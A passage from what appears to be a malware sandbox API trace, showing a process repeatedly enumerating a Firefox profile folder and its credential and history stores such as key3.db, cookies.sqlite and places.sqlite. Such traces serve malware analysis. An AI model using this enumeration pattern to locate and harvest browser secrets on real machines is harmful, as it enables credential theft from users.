nFileSizeHigh=0x0, nFileSizeLow=0x44669, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1 [0262.027] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cert8.db", cAlternateFileName="")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x400ce751, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xff9a54e3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x329, dwReserved0=0x0, dwReserved1=0x0, cFileName="containers.json", cAlternateFileName="CONTAI~1.JSO")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x439749, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashes", cAlternateFileName="")) returned 1 [0262.028] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="datareporting", cAlternateFileName="DATARE~1")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe967070, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x292e, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.json", cAlternateFileName="EXTENS~1.JSO")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x145311ab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite", cAlternateFileName="FAVICO~1.SQL")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-shm", cAlternateFileName="FAVICO~3.SQL")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x901d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-wal", cAlternateFileName="FAVICO~2.SQL")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp", cAlternateFileName="")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp-gmpopenh264", cAlternateFileName="GMP-GM~1")) returned 1 [0262.029] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp-widevinecdm", cAlternateFileName="GMP-WI~1")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2ee0ebb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="handlers.json", cAlternateFileName="HANDLE~1.JSO")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db", cAlternateFileName="")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6f2e0a0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd7d1832, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-shm", cAlternateFileName="PLACES~3.SQL")) returned 1 [0262.030] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208638, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-wal", cAlternateFileName="PLACES~2.SQL")) returned 1 [0262.031] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cce7aa, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40cce7aa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40ccfb2d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1 [0262.031] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8285d1c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8285d1c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x93d01742, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js", cAlternateFileName="")) returned 1 [0262.031] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="saved-telemetry-pings", cAlternateFileName="SAVED-~1")) returned 1 [0262.031] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4731d65, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4731d65, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47330f8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json.mozlz4", cAlternateFileName="SEARCH~1.MOZ")) returned 1 [0262.031] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5f9955, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe5f9955, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe645e15, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db", cAlternateFileName="")) returned 1 [0262.031] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecurityPreloadState.txt", cAlternateFileName="SECURI~1.TXT")) returned 1 [0262.032] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e0d6ab, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionCheckpoints.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0262.032] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore-backups", cAlternateFileName="SESSIO~1")) returned 1 [0262.032] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7fd9e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb7e7fd9e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7e7fd9e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1433, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1 [0262.032] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiteSecurityServiceState.txt", cAlternateFileName="SITESE~1.TXT")) returned 1 [0262.032] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage", cAlternateFileName="")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76d02, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1f76d02, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x22b9f22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage.sqlite", cAlternateFileName="STORAG~1.SQL")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd1119, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2bd1119, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb8239875, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 1 [0262.033] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.033] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0262.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0262.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0262.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0262.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", lpFilePart=0x0) returned 0x49 [0262.034] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0262.034] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.034] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a3ab44, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1 [0262.034] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea98376, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfea98376, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfea98376, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0x0, cFileName="addonStartup.json.lz4", cAlternateFileName="ADDONS~1.LZ4")) returned 1 [0262.034] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlternateServices.txt", cAlternateFileName="ALTERN~1.TXT")) returned 1 [0262.035] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x200a4780, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x44669, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", 